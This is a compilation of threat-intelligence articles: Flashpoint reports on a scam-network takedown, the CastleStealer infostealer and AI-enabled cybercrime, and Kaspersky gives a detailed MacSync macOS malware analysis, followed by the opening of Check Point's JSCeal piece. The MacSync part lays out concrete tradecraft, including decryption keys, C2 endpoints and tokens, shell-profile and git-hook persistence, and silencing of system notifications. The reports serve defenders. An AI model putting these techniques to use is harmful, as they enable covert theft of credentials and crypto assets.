More than 3.7 million fraudulent online accounts removed. Twenty-eight arrests across Ghana and Nigeria. More than $11 million in potentially freezable funds identified. And 117 human trafficking victims identified.
These were among the results of Joint Disruption Week, an international operation targeting criminal networks responsible for online fraud, including cryptocurrency investment scams, impersonation schemes, and financial extortion.
“Transnational criminal scam networks operating from West Africa suffered major disruptions last week during a coordinated international ‘Joint Disruption Week,’ an effort that produced arrests, seizures, and the largest-ever takedown of fraudulent social media accounts linked to scam centers in the region.”
Department of Justice
Hosted by the UK’s National Crime Agency (NCA) in London during the week beginning October 6, 2026, Joint Disruption Week brought together investigators from the DOJ, FBI, U.S. Secret Service, Homeland Security Investigations, and international law enforcement agencies, alongside private-sector organizations including Flashpoint.
Throughout the week, participants exchanged real-time intelligence and developed investigative leads to support enforcement actions in Ghana and Nigeria, as well as the disruption of online accounts and infrastructure used by scam networks.
The operation targeted criminal organizations whose activities extend across borders and online platforms. According to the DOJ, scam centers operating in West Africa share characteristics with those previously identified in Southeast Asia, including organized recruitment, training in social engineering techniques, and coordinated fraud campaigns targeting victims internationally. Some operations also involve human trafficking, with individuals coerced into participating in fraudulent activities.
By bringing together law enforcement and private-sector capabilities, Joint Disruption Week targeted both the infrastructure used to perpetrate fraud and the individuals behind these schemes.
Joint Disruption Week: The Results
The coordinated effort produced results across criminal investigations, financial intelligence, and online infrastructure disruption.
According to the DOJ:
28 suspects were arrested, including 19 in Ghana and nine in Nigeria.
More than 3.7 million fraudulent accounts, Pages, and Groups were removed from online platforms.
117 human trafficking victims were identified in Ghana, awaiting repatriation to Nigeria.
89 fraud victims were identified in Ghana, associated with approximately $8.3 million in reported financial losses.
More than $11 million in potentially freezable funds were identified through private-sector investigative efforts.
More than 30 suspected scam centers were referred to law enforcement for further investigation.
356 electronic devices were seized during enforcement actions in Ghana and Nigeria.
The figures illustrate the reach of these operations. Millions of accounts can support criminal activity across multiple platforms, while the individuals directing those activities may be operating thousands of miles from their intended victims.
Disrupting the Infrastructure Behind Online Fraud
The arrests and account removals represent different aspects of the same challenge: identifying the individuals behind criminal operations while disrupting the infrastructure they use to reach victims.
Online scam networks can operate across social media platforms, messaging services, and financial systems, with evidence of criminal activity spread across multiple organizations and jurisdictions. Investigations often depend on connecting information from these different sources to identify the actors involved and the infrastructure supporting their operations.
During Joint Disruption Week, private-sector partners contributed by removing fraudulent accounts, identifying potentially recoverable funds, and sharing investigative leads with law enforcement.
Flashpoint was among the organizations specifically recognized by the DOJ for participating in the operation, alongside Meta, Microsoft, Google, OpenAI, Coinbase, Binance, Chainalysis, Elliptic, TRM Labs, and others. For threat intelligence teams, operations like this highlight the value of identifying criminal actors, understanding how their operations are structured, and connecting activity across disparate sources to support investigative action.
“These scam networks operate like businesses, investing in infrastructure, recruiting people, and developing increasingly sophisticated ways to defraud victims at scale. To meaningfully disrupt them, we have to go after the economics of their operations, making it more costly and difficult to recruit, reach victims, and move illicit funds. The more pressure we put on those operations, the harder it becomes for the criminals behind them to sustain and expand their activities.”
Josh LefkowitzCEO, Flashpoint
Together, the arrests, account removals, and financial investigations demonstrate how coordinated efforts can target multiple components of criminal operations, from the infrastructure used to perpetrate fraud to the individuals responsible.
Continuing Efforts to Disrupt Scam Networks
Joint Disruption Week marked the first coordinated international operation focused specifically on West African scam networks, according to the DOJ.
The arrests, infrastructure disruptions, and investigative leads generated during the operation represent progress against criminal organizations responsible for large-scale financial fraud and human exploitation.
Flashpoint continues to support efforts to identify and disrupt criminal activity through primary source intelligence that helps investigators understand emerging threats and the networks behind them.
First discovered in April 2026, CastleStealer is a C#-based information-stealing malware that has continued to add new capabilities since its emergence. Newer samples analyzed by Flashpoint can bypass app-bound encryption in Chromium-based browsers, execute commands remotely, and exfiltrate stolen information in small encrypted transmissions rather than a single large archive.
While Flashpoint has not yet identified a large influx of threat actors using CastleStealer, its continued development makes it an emerging threat worth watching.
What We Know About CastleStealer
CastleStealer was first publicly identified in April 2026, when it was observed using ClickFix social engineering to deliver a Python script that executed a loader referred to as “CastleLoader.”
By June, the malware had appeared in a different distribution campaign. Threat actors used malicious advertisements to direct victims to fake Node.js installation websites, where a batch script masquerading as an installer ultimately downloaded and executed a newer loader known as OXLOADER.
Contents of downloaded batch script masquerading as a Node.js installer. (Source: Flashpoint)
OXLOADER employs several techniques designed to make analysis and detection more difficult, including multiple rounds of self-decryption, obfuscated API resolution, sandbox checks, and in-memory execution. Flashpoint analysts assess that the loaders used to deliver CastleStealer appear to be developed in-house and demonstrate significant technical ability around anti-analysis and stealth.
But the delivery chain is only one part of CastleStealer’s evolution. Newer samples show that the infostealer itself has continued to expand what it can collect and what threat actors can do after a system is compromised.
What Data Does CastleStealer Target?
Once executed, CastleStealer first checks the system’s Multilingual User Interface (MUI) languages for Russian (ru-RU). It then connects to its command-and-control (C2) infrastructure and sends a handshake packet containing its build UUID and basic information about the infected host. After establishing the connection, it gathers additional information about the victim machine and sends it to the C2.
From there, CastleStealer begins searching for sensitive information across browsers, applications, and files on the victim’s system.
For Chromium-based browsers, CastleStealer collects login data, cookies, browsing history, web data, and information stored by browser extensions. That includes extension IDs, IndexedDB data, and extension storage.
The malware also targets:
Firefox: Login data, cookies, browsing history, and form history.
Steam: Files including config.vdf, loginusers.vdf, and local.vdf, which can contain sensitive account information and settings.
Discord and Telegram: CastleStealer searches APPDATA for directories associated with both applications.
Files on the victim system: The malware broadly collects files while excluding several file types and files containing “backup.” It places particular emphasis on files containing “wallet” in their names.
That browser targeting has also become more capable since CastleStealer was first discovered.
Bypassing App-Bound Encryption
One of the clearest examples of CastleStealer’s evolution is its ability to target data protected by newer browser security controls.
Earlier analysis found that CastleStealer could not steal data from updated browsers using app-bound encryption. Newer samples analyzed by Flashpoint now use Chrome’s IElevator COM interface to bypass that protection, a technique also used by other modern infostealers.
IElevator COM CLSIDs present for various Chromium-based browsers in newer CastleStealer samples. (Source: Flashpoint)
The change closes a meaningful limitation present in earlier CastleStealer samples and expands the browser data available to the malware.
From Infostealer to Remote Access
Newer CastleStealer samples also give threat actors capabilities beyond stealing information from an infected machine.
CastleStealer contains basic remote shell functionality that allows an operator to send a shell command to the victim system, provide a file for execution, or send the URL of another payload that CastleStealer will download and execute.
That capability gives an attacker additional options after the initial compromise. Instead of ending the operation once targeted information has been collected, an operator can interact with the infected system and introduce additional payloads.
How CastleStealer Exfiltrates Stolen Data
CastleStealer also differs from many other infostealers in how it sends stolen information back to its operators.
Rather than collecting stolen data into an archive and transmitting it to a C2 server or Telegram channel, CastleStealer sends smaller amounts of collected data over raw TCP. The transmissions are encrypted using AES.
Flashpoint analysts assess that transmitting data this way may help CastleStealer avoid network detections associated with a single spike caused by a large data transfer.
The network packets follow a straightforward structure:
{4-byte size} → {AES IV} → {Encrypted Data}
AES-128 CBC decryption of a CastleStealer network packet. (Source: Flashpoint)
Once CastleStealer completes its activity, it deletes itself using a common ping-delay self-deletion technique.
Protect Against Emerging Infostealers Using Flashpoint
CastleStealer’s development since its discovery illustrates how quickly an emerging infostealer can mature. Its operators have changed how the malware reaches victims, while the stealer itself has gained the ability to bypass browser protections, remotely execute commands and additional payloads, and exfiltrate stolen data in smaller encrypted transmissions.
CastleStealer has not yet seen the widespread adoption associated with more established infostealer families. But its trajectory makes it one to watch as its developers continue to improve both its collection capabilities and what operators can do after compromising a victim.
Flashpoint continuously monitors emerging malware, illicit communities, and threat actor infrastructure to identify these shifts as they happen. Request a demo to learn how Flashpoint’s primary source intelligence and analyst research help security teams identify emerging threats and respond before they become widespread.
Cybercrime at Machine Speed: Key Takeaways from Flashpoint’s 2026 Midyear Threat Intelligence Briefing
Threat actors are no longer just using automation to execute tasks, they are leveraging prepackaged, safeguard-free AI, weaponizing stolen session data, and directly targeting defenders’ security stacks.
The threat landscape has developed at a striking pace with Flashpoint tracking over 22 million illicit AI discussions, 7.4 million compromised hosts yielding 1.7 billion stolen credentials, and over 21,600 disclosed vulnerabilities in just six months. Beyond these staggering numbers, the on-demand session detailed something even more alarming: a fundamental shift in adversary operational tradecraft.
Here are the five critical shifts every cyber threat intelligence (CTI), Vulnerability Management, and SOC team needs to know.
The Death of Signal: Threat Actors are Shifting to “Private AI”
The public discussion surrounding criminal artificial intelligence (AI) has reached a critical inflection point. Early in the AI boom, Flashpoint observed threat actors collaboratively experiment across underground forums, jailbreaking commercial frontier models or advertising surface-level tools like WormGPT and DarkGPT.
Today, adversaries are shifting from public forums to running fine-tuned, open-source models locally on private servers, which greatly hampers traditional signature-based detection. Flashpoint analysts are now seeing attackers generate unique, highly tailored malware variants, flawless phishing lures, and custom exploit scripts at extremely low costs—completely offline and shielded from public monitoring.
“A few months ago, a lot of this was collaborative… public outsourcing. Now what we’re seeing is scarier: pre-packaged cybercrime models run locally on private infrastructure. Malicious code, exploit scripts, and targeted phishing are all being generated inside closed environments.”
Ian Gray, VP of Intelligence, Flashpoint
Weaponizing the Defender’s Own Tooling
Another eye-opening tactical insight shared during the session was how threat actors are repurposing defender infrastructure for automated initial access and extortion. In the webinar, we pointed to recent campaigns where adversaries specifically targeted misconfigurations and zero-day vulnerabilities inside open-source vulnerability scanners, secrets-detection tools, Kubernetes clusters, and Infrastructure-as-Code(IaC) environments.
What this means for defenders is that the attack surface is no longer bounded by traditional enterprise network boundaries: it extends directly into CI/CD pipelines, security orchestration tooling, and third-party SaaS integrations. Security teams are finding themselves in a race against attackers who use automated scanning scripts to weaponize vulnerabilities in the security tools themselves.
The Global Infostealer Threat and Identity-First Attacks
Flashpoint tracked 7.4 million hosts compromised by infostealers in H1 2026—a 27% increase period-over-period—harvesting 1.7 billion credentials and identity information.
While the top infostealer strains remain familiar, law enforcement operations have created vacuums that competitors rapidly fill.
Threat actors are leveraging drive-by downloads, watering holes, and pirated software packages to plant stealers. Once a machine is compromised, the logs capture corporate SSO credentials, active browser cookies, VPN keys, and SaaS session tokens. This enables adversaries to simply log in without having to leverage complex technical exploits.
The Structural Failure of CVE/NVD and the Importance of KEV
The Common Vulnerabilities and Exposures (CVE) and National Vulnerability Database (NVD) have failed to keep pace with the velocity of AI-assisted vulnerability discovery. As such, vulnerability management teams are facing significant operational delays.
Metric
Flashpoint GTIR Midyear H1 2026 Data
Operational Impact
Total Disclosures
21,667
Remediation volume exceeds defender bandwidth.
Exploit Availability
19% (4,015 CVEs)
Functional code is ready before patches are deployed.
Public Catalog Lag
Growing Backlog (NVD/KEV)
Delay in official scoring leaves teams blind to active risk.
Therefore, waiting for NVD enrichment before prioritizing a patch is a dangerous strategy. To compensate, security teams require Vulnerability Intelligence (VI) that provides primary-source confirmation of weaponization, exploit availability, and actionable mitigation guidance long before public databases update.
Ransomware Evolution: From Encryption to Cloud Extortion
Ransomware-as-a-Service (RaaS) activity surged by 45% period-over-period, reaching 6,256 verified victim postings on data leak sites. However, total on-chain payout revenue dropped by 8% to $820 million, with victim pay-rates hitting a record low of 28%.
Faced with declining payouts and resilient enterprise backups, extortion syndicates are adapting. Rather than relying exclusively on technical file-encrypting malware, groups are executing pure data extortion campaigns—frequently targeting cloud platforms or extracting data through third-party vendor access.
Protect Your Organization Using Flashpoint
Defending against machine-speed attacks requires moving beyond reactive, post-incident telemetry. Flashpoint arms security, CTI, and vulnerability management teams with the primary-source intelligence required to preempt adversary operations:
Unrivaled Deep & Dark Web Visibility: Flashpoint’s Primary Source Collection actively monitors closed criminal communities, illicit Telegram channels, and private forums, giving you early warning when threat actors build custom AI toolkits or trade credentials targeting your organization.
Comprehensive Vulnerability Intelligence (VI): Flashpoint tracks zero-days and vulnerability disclosures independently, delivering immediate exploit availability data and threat-informed prioritization so you patch what actually matters.
Continuous Compromised Credential Monitoring: Instantly surface exposed enterprise credentials, active session tokens, and stealer logs tied to your domain or third-party supply chain before they lead to an account takeover (ATO).
In the first half of 2026, the global threat landscape reached a clear operational inflection point: threat operations have fundamentally transitioned from human-led campaigns to machine-speed, AI-driven exploitation. As threat actors gain commoditized access to open-source AI technologies and actively deploy automated, safeguard-free tooling locally on private infrastructure, organizations face an accelerating hybrid risk environment.
Flashpoint’s Global Threat Intelligence Report: 2026 Midyear Edition
The Flashpoint Global Threat Intelligence Report: 2026 Midyear Edition anchors security leaders—from threat intelligence, vulnerability management, to executive leadership—in the data required to navigate this evolving threat landscape. Covering the period from January 1 to June 30, 2026, the report delivers timely insights backed by Flashpoint’s proprietary primary-source collection from over 3.9 petabytes of continuously monitored illicit sources.
Our midyear findings reveal several key metrics that highlight the speed and scale of the H1 2026 threat landscape:
22M+ threat actor posts discussed, shared, or advertised artificial intelligence toolkits for criminal deployment.
1.7B credentials and identity data points extracted across more than 7.4M unique compromised hosts globally.
Nearly one-in-five (19%) of all vulnerability disclosures dropped with ready-made, functional exploit code.
45% period-over-period surge in Ransomware-as-a-Service (RaaS), with total victim volume reaching 6,256 even as victim payout rates dropped to a historic low of 28%.
A Clear Understanding of the Convergence Between AI and Cyber Threats From generating flawless phishing campaigns to automating vulnerability scanning and code obfuscation, discover how adversaries are optimizing for speed and cost-efficiency — utilizing AI as a force multiplier in their various illicit campaigns.
A Comprehensive Top-Down View of the Evolving Threat Landscape Gain full visibility of the threat landscape with Flashpoint’s primary-source collections and real-time threat intelligence.
Strategies for Proactive Defense and Risk Mitigation Move your organization beyond reactive incident response by leveraging Flashpoint’s comprehensive threat intelligence. Gain the foresight needed to strengthen defenses and optimize your security posture.
“AI is compressing the time between opportunity and exploitation. Capabilities that once took significant expertise, coordination, and time to develop are becoming faster to build, easier to scale, and harder to detect. Security teams are facing an adversary ecosystem that can use AI to iterate at unprecedented speed — the only way to keep pace is with primary-source intelligence that surfaces adversary behavior before attacks unfold.”
Josh Lefkowitz, Flashpoint Co-Founder & CEO
The Four Driving Themes Shaping the 2026 Threat Landscape
Artificial Intelligence (AI) Threats
During the first half of 2026, Flashpoint captured over 22M illicit posts discussing or advertising AI for criminal-related activities. By stripping ethical safeguards, custom malicious LLMs allow unsophisticated threat actors to automate complex phases of the attack lifecycle, including target profiling, malware evasion script creation, and zero-day exploit generation.
Information-Stealing Malware Threats
Infostealer malware harvested 1.7 billion credentials across 7.4 million compromised systems in H1 2026 alone, turning digital identity into the main entry point for enterprise intrusions.
Vulnerability Intelligence and Patching Management
19% (4,015) of all H1 2026 vulnerability disclosures arrived with ready-made exploit code. Adversaries deploy automated replication scripts almost immediately upon disclosure, eliminating manual remediation windows.
Ransomware Operations, Multi-Extortion Cartels, and Financial Risk
Despite a 45% surge in victim volume (6,256 overall), total on-chain revenue fell by 8% to $820M. Improved enterprise backups and incident response have driven payout rates down to 28%, prompting syndicates to demand larger sums from paying victims.
Proactive Security in 2026 and Beyond
The data shows that traditional enterprise security organizations are struggling to keep pace with modern threat cycles that are accelerated by illicit uses of AI. This continued convergence of AI engines and initial access vectors have further compressed attack timelines, making it nearly impossible for security teams to defend against them—especially if they are limited by traditional approaches to threat intelligence.
Equipping your team with primary-source threat intelligence is critical for protecting critical assets in 2026. Download the Flashpoint Global Threat Intelligence Report: 2026 Midyear Edition to gain the visibility and strategic clarity required to defend your organization.
MacSync is a relatively young, rapidly evolving family of crypto/info stealers. First advertised on the dark web in 2025 as Mac.c, the stealer was later renamed to MacSync by its creators. The initial versions were implemented as AppleScripts and closely resembled the AMOS stealer family, but over time, MacSync developed distinctive features of its own, including a backdoor module. In this report, we discuss a new infection chain that differs significantly from previous variants. We first spotted it in the wild in September 2026.
Key points:
The developers of this family have overhauled their approach to payload delivery by replacing script-based droppers with binary ones.
The main malicious payload now consists of modules written in Objective-C and Swift.
At one stage of infection, the attackers use iCloud to deliver the next
Kaspersky solutions detect the threats described below under the following verdicts:
HEUR:Trojan.OSX.MacSync.*
HEUR:Trojan-PSW.OSX.MacSync.*
HEUR:Trojan-Dropper.OSX.MacSync.*
HEUR:Trojan-Downloader.OSX.MacSync.*
Technical details
Infection chain
MacSync is an infostealer distributed under the malware-as-a-service (MaaS) model, so the specific delivery method for the first stage of the infection chain is up to the operators. Recent public reports on MacSync have mostly focused on modules delivered through social engineering and ClickFix-style attacks. However, both then and now, the malware has also spread disguised as free or cracked versions of popular applications, as well as under the guise of new software. For example, we found MacSync masquerading as a nonexistent crypto wallet app called Toria; the attackers not only created a dedicated web page for it but also promoted it on X and Telegram:
The latest version of the infostealer we discovered starts the infection chain with malicious DMG images. Even within a single campaign built around one fake application, we found two different ways the infostealer and backdoor modules were delivered to the victim’s device. In one, the payload inside the DMG was a compiled JXA script that, once launched, decoded a shell script and passed it directly to the interpreter without writing it to disk. In the other version of the application, the same script appeared at a later stage of infection, after a chain of droppers and loaders had run. We’ll take a look at the second infection chain in detail, since it is more complex and technically interesting. The infection scheme is shown below:
It’s worth noting right away that MacSync shows shared traits at almost every stage:
All temporary files are placed in the /tmp directory. The same directory is where *.lock files are created to prevent the malware from running again.
Once its task is complete, the module removes traces of its activity: temporary files, its own logs, and so on.
All binary files are in the FAT Mach-O format and target devices with both Apple and Intel processors.
Loader, Calendar, and Two Simple Droppers
In this infection chain, the payload on the disk image is an .APP application. When started, it first checks whether the whole bundle has the com.apple.quarantine extended quarantine attribute, and if it finds one, it runs the xattr -cr <app_name> command to remove all attributes. Next, it extracts an XOR-encrypted URL from its overlay and decrypts it with the key 73 6f 6e 6f 6d 61 62 6c 64 07. After the encrypted data, there are 8 bytes indicating the length of the ciphertext, followed by the magic word SONOMAC1. It’s worth noting that the malware reads the overlay backwards: it first locates the magic word, then reads the data size, and then uses the size to determine the boundaries of the data block containing the ciphertext.
The resulting URL is a link to the next-stage downloader script. In some cases, this link pointed directly to a file hosted on an attacker-controlled server; however, in at least one sample, the link pointed to a public iCloud calendar:
After retrieving the calendar file from the server, the downloader creates an anonymous pipe, launches the interpreter to read commands from standard input (zsh -s), sets the pipe as standard input, and redirects the contents of the calendar into it line by line. Since a calendar is normally not a command, the interpreter treats the lines as invalid commands until it reaches the malicious payload after the DESCRIPTION: line. These commands ultimately download a .TAR.GZ archive from iCloud that contains an .APP bundle. The downloader removes the quarantine attribute from it, signs it with an ad-hoc signature, and executes it.
We don’t know the contents of the scripts distributed from the attacker’s server, but they are very likely the same script found in the calendar event description.
The downloaded application is a dropper. The malicious payload it extracts is a zlib-compressed executable encrypted with AES in CBC mode, using the following key and initialization vector:
The dropper decrypts and unpacks it, then places it at /tmp/.sys-<16-digit random value>.
Inside is another dropper, but unlike the previous stages, this one includes anti-debugging protection. In particular, it checks whether it’s running on a virtual machine by making sysctl queries with the kern.hv_vmm_present and machdep.cpu.brand_string parameters. It also sets the PT_DENY_ATTACH flag with ptrace to prevent a debugger from attaching to the process. The payload is a shell script encrypted with AES in CBC mode, using the following key and initialization vector:
As shown in the screenshot above, the second dropper delivers a downloader script that retrieves the next-stage payload from the command-and-control server, decrypts it with AES in CBC mode using the following key and initialization vector, and then executes it in memory:
Inside the retrieved script, we can immediately spot several familiar indicators associated with the MacSync malware family:
The main function in the script is named daemon_function.
The stolen data is uploaded to the command-and-control server via PUT requests. The data in the requests is sent in 90-megabyte chunks. In earlier versions, the chunk sizes differed.
One way to establish persistence on a system it uses is to inject a malicious command into the .ZSHRC, the configuration file for the ZSH interpreter, which contains commands that run each time the interpreter starts.
The URL path where the backdoor executable is stored on the command-and-control server begins with the /loader/ directory.
The script performs the following tasks:
Downloading and decrypting additional malicious modules: an infostealer, a backdoor, and a special utility for generating encryption keys and decrypting downloaded executable files
Gaining persistence on the system
Uploading data received from the infostealer module to the command-and-control server
One detail stands out: instead of the usual encryption algorithms (XOR, AES, and so on), the attackers took a different approach to delivering malicious modules at this stage. It involves a selfmade utility called pkgunpack that implements two commands: genkey and decrypt. The malicious payload is decrypted as follows:
The malware generates a public and private encryption key pair using genkey command from pkgunpack, whose generation function relies on an open implementation of the elliptic-curve Diffie-Hellman protocol on Curve25519: curve25519_donna.
The public key is encoded in base64 and sent to the command-and-control server together with a one-time code generated by the command $(date +%s)-${RANDOM}-$$.
Here, build_pub_b64 is the server’s public key, which is also predefined in the script itself, and dek_wrap_b64 is a base64-encoded string that contains the payload encryption key. This key is encrypted on the server side with a shared secret computed from the public key generated with pkgunpack on the victim’s device.
Then decrypt command from pkgunpack utility decrypts the key:
A shared secret is computed from the server’s known public key and the private key for the current session, using the same ECDH Curve25519 key exchange scheme that was used to generate the keys.
The resulting shared secret is concatenated with the string sn-dek-wrap-v1, and a SHA-256 hash is computed from the result.
Next, the dek_wrap_b64 block received from the server is decoded. It has the following structure:
The first 5 bytes: additional authenticated data (AAD)
The next 12 bytes: the initialization vector (IV)
The rest: the ciphertext
The ciphertext is decrypted with AES in GCM mode using the previously obtained key, IV, and AAD.
Decoded dek_wrap_b64
The result is the key for decrypting the downloaded malicious payload. The payload, in turn, also contains an AAD and an IV in its header and is encrypted with AES GCM. The utility decrypts it and terminates.
Note that at each individual stage, the utility zeros out buffers after using encryption keys and data, apparently to impede forensic data collection and dynamic analysis of samples.
As mentioned earlier, at this stage, the script downloads only two modules: an infostealer and a backdoor. Once decrypted, both are .TAR.GZ archives; their contents are extracted, stripped of all extended attributes (such as com.apple.quarantine), and signed with an ad-hoc signature. The infostealer module runs first: it collects the data it needs, places it in a temporary folder, and compresses it into a .TAR.GZ archive, which the script then sends to the attackers’ server. Next, before launching the backdoor, the script sets up persistence for it and creates a backup copy. The backup copy, along with the other files it needs to operate, is placed in $HOME/Library/Application Support/System. This directory doesn’t exist in macOS by default; the script creates it. The backdoor disguises itself as the Finder application and achieves persistence in the system through the following methods:
A LaunchAgent named com.apple.finder.agent
Injection of a command that runs the .repair-run script when the ZSH interpreter starts from the .ZSHRC
Injection of a similar command, which also runs the .repair-run script, into the global GIT pre-commit and post-checkout hooks
The .repair-run script checks whether the backdoor files exist, restores them from a backup if they are missing, and re-creates and reloads the LaunchAgent. At the same time, it kills the BTMNotificationAgent, NotificationCenter, and BackgroundTaskManagementAgent system processes to prevent the system from notifying the user about the new LaunchAgent.
One last thing worth noting about the script at this stage is its use of a custom HTTP header, X-Upload-Token, without which the C2 server responds to requests with errors. During our research, we observed the use of the following tokens: b8b4b88205a8f594b95a841bc37342898f34cad8a5a9e4a22ce69a31a1208650 and ff3ab9ef841630364818396f62e696b72aed162cf0b895b6643ef25dad79b51d. The backdoor later uses these same tokens to communicate with the C2 server.
Infostealer
The infostealer module ships as an .APP application, with its main executable written in Swift. As with previous AppleScript-based versions, the malware first asks the user for the administrator password. It adapts the window it displays to match the application it is impersonating. After the password is entered, the user sees a window that imitates a system notification about a corrupted application, offering to move it to the trash.
Fake stealer pop-up windows
Interestingly, instead of the method most macOS malware families use to verify a password, the dscl utility, the attackers used the Pluggable Authentication Modules (PAM) API. This is a fairly new technique for macOS malware, first observed in the wild in July 2026 in the Pam Stealer family. It apparently caught the attention of malware authors, and we may see it used more often going forward.
Password verification with PAM
Many strings in the stealer (file names, directory names, team IDs, and so on) are XOR-encrypted and stored in static arrays. The encryption keys differ between samples and are generated based on the ciphertext length.
String decryption
The set of data the stealer collects has expanded slightly compared to previous versions. The generalized list is as follows:
Browser data: browsing history, cookies, crypto wallet extension data, saved logins and passwords, and Local State files
Crypto wallet application data
Telegram data
Device login and password
Keychain file
System information: list of installed applications and running processes, device model, hardware, UUID, and so on
Configuration files for SSH, ZSH, AWS, Kubernetes, GIT, and other services/programs
ZSH and Bash command history
Current user profile picture
The collected data is saved to a hidden directory in /tmp/.
The stealer module also has one interesting feature, disabled in all samples discovered so far and apparently still in development. Its purpose is to check whether the malicious application’s resources contain a file called KcHelper at <app_path>/Contents/Resources/Helpers, and, if the file is present, launch it with certain parameters. If this file is missing, a fallback function, _kc_grab_storage_item, is executed instead. Since KcHelper was not present among the application’s resources at the time of our research, we can only speculate about its purpose based on our analysis of this function. It first runs a command that modifies the partition_id of the keychain entry for a specific service so that three categories of applications can access it without user confirmation and without the keychain password:
teamid: the application is signed with a certificate that has a specific teamID (in this case, the target application’s developer)
apple: the application is an Apple service
apple-tool: the application is an Apple command-line utility
The stealer then uses the Security.framework API to try and retrieve the secret’s contents on its own, which still ends up triggering a confirmation request for the operation. It appears the threat actors plan to refine this feature in the future to gain unimpeded access to secrets even if the keychain password changes, but at this point, they haven’t managed to do so, which is why the feature is disabled. In the stealer’s encrypted strings, we saw examples of arguments for the command that modifies partition_id, which indicate that the attackers are after browser secrets. Example:
Code section responsible for changing access to keychain services
Backdoor
The backdoor is a Fat Mach-O executable written in Objective-C. It has two launch modes: a regular one and one with the --persist-status flag. In the second mode, it only checks how it was added to the persistence objects: as a Login Item or as a LaunchAgent. In standard mode, before proceeding to its main functionality, the backdoor also checks whether it has been added to autorun in any way. If not, it uses the same persistence mechanism as the parent script. However, for macOS versions older than 13.0, a separate helper executable stored inside the backdoor’s body is used regardless of whether autorun objects are present. The helper performs a single task: it uses the CoreServices.framework API to add the executable file passed to it as an argument to the Login Items.
As with the droppers from the early stages of the infection chain, the configuration for communicating with the C2 is stored in the executable’s overlay and encrypted with XOR using the same key. It consists of several strings separated by null bytes:
AGNT1: a magic constant confirming that the configuration was decrypted correctly
C2 server URL
Access token: the same one used in the parent script
BLD-150: the backdoor build number
The malware also writes logs to $HOME/Library/Logs/.sysnotif-agent.log and supports extended logging when launched with the LAUNCHER_DEBUG environment variable. Communication with the C2 takes place over HTTP. The server’s response should be a JSON file.
Method
URL path
Request parameters
Description
GET
/v1/agent/ping
tag: the victim’s unique ID combined with the backdoor build number
build: backdoor build number
Used to receive a command. The response is expected to contain a cmd field with the command to execute. If a 403 error is received, meaning the access token has expired, the backdoor tries to refresh it with a request to /v1/agent/refresh.
POST
/v1/agent/refresh
tag
build
old_token: previous token
The response is expected to contain an upload_token field, whose value becomes the new token.
POST
/v1/asset/<upload_id>/init
upload_id: an identifier for the object being uploaded, generated randomly based on a timestamp, the process ID, and a random four-byte number
Used to create a file on the server, into which the file from the victim’s device is later uploaded in parts. When the file is created, its size is passed in the X-File-Size header, and its SHA-256 hash is passed in X-File-Sha256.
PUT
/v1/asset/<upload_id>
The request that actually uploads the file to the server.
POST
/v1/agent/<command_status>
command_status: a status unique to the commands the agent executes
tag
upload_id: the ID of the file uploaded to the server (if any)
phase: information about the command being executed or its stage
message: a message
active: command in-progress flag (true = still running; false = finished)
This URL endpoint is accessed at various stages of the backdoor’s operation. Information about command execution status serves as a telemetry source for the attackers.
Although the backdoor offers several different commands, they all boil down to the same action: extract the base64-encoded AppleScript script from the script_b64 field in the server’s response and execute it. Individual command handlers then act as wrappers around the scripts, correctly populating telemetry and sending requests to the C2 server. Based on the command names and the messages sent to the server during their execution, we can reconstruct their purpose without having the scripts on hand. The backdoor supports the following commands:
deploy_ext: deploy an extension downloaded from the server into the victim’s browser.
deploy_ledger: replace the installed Ledger wallet with the version from the server.
regrab: collect system information and/or specific files again. This time, the collected data is packaged into an archive typical for the MacSync family, at /tmp/osalogging.zip, unless a different path is specified in the archive_path field sent along with the command.
live_browser: the only command executed without an AppleScript script. The backdoor checks for the presence of the sn_relay file among its resources, and if it’s not found, downloads and executes it. Its content and purpose remain a mystery to us, but based on the command name and the messages sent to the server, we can assume that the attackers somehow implement a MitM attack on traffic originating from the victim’s browser.
The section of the regrab command where the archive’s integrity is verified and its hash is calculated before it is sent
Takeaways
The new version of the MacSync infostealer differs quite significantly from its previously observed variants. The attackers have substantially overhauled their approach to executing the stealer’s and backdoor’s main malicious payload, moving from AppleScripts to full-fledged executable files written in Swift and Objective-C. It’s also worth noting the more complex infection chain: instead of obfuscated shell scripts delivered through ClickFix attacks, this version used binary droppers and loaders, some of which leveraged Apple’s infrastructure as one of the intermediate stages for delivering the malicious payload.
The nature of the data attackers seek to collect from a victim’s device, as well as the categories of applications the stealer disguises itself as, clearly indicates that this malware family primarily targets developers, crypto enthusiasts, and other users associated in some way with IT and the crypto space. MacSync’s compromise of software developers’ devices poses particular security risks for both end users and corporate systems, opening up expanded opportunities for attackers to further their intrusion.
Since early 2025, Check Point Research has been tracking JSCeal, a sophisticated cryptocurrency-focused stealer with broader credential-theft, surveillance, and traffic-interception capabilities, delivered as compiled V8 bytecode (JSC files).
The payloads are protected with javascript-obfuscator, using multiple techniques including RC4-protected strings, control-flow flattening, proxy functions, and operation wrappers.
Our goal was to recover the code to a level that enables detailed analysis, comparison between samples, and tracking of the malware’s evolution.
CPR developed a fully static deobfuscation pipeline that transforms View8 pseudocode without executing the malware. An optional LLM-assisted renaming stage can then be used to make large, recovered codebases easier to navigate.
The deobfuscated output enabled detailed analysis of JSCeal’s capabilities and their implementation, including keylogging, browser and credential theft, and HTTPS traffic interception through a local MITM proxy.
We presented this research at Black Hat USA 2026. This article complements the talk by documenting the methodology in greater technical depth and providing additional examples and implementation details.
We conclude with a brief look at more recent JSCeal developments, including V8 code caches generated for a newer Node.js/V8 version, an additional payload-encryption layer, and macOS targeting.
Introduction
JSCeal is a stealer delivered as compiled V8 bytecode (.jsc) and executed by a bundled Node.js runtime, targeting cryptocurrency applications (other vendors also tag it with the names WEEVILPROXY or MeadowLocust). Its campaign activity dates back to March 2024 [1]; Check Point Research has been tracking the malware since early 2025. Our previous publication from July 2025 [1] focused on the campaigns, delivery chain, and targeting. In this article, we focus on the analysis problem hidden inside the final payload.
Unlike ordinary JavaScript malware, JSCeal reaches the analyst after two transformations have already removed much of the information that source-oriented tools depend on. First, the JavaScript is heavily obfuscated. Then it is compiled into V8’s internal bytecode representation and shipped as cached data rather than source code. The resulting format is version-specific, poorly served by mature reverse-engineering tooling, and unsuitable for most standard JavaScript deobfuscation workflows.
From the attacker’s perspective, this combination is attractive because it is inexpensive to produce. Node.js and its package ecosystem provide ready-made building blocks for complex applications, while public tools such as javascript-obfuscator [6] can add several layers of source-level obfuscation before compilation. The analyst receives only the compiled artifact.
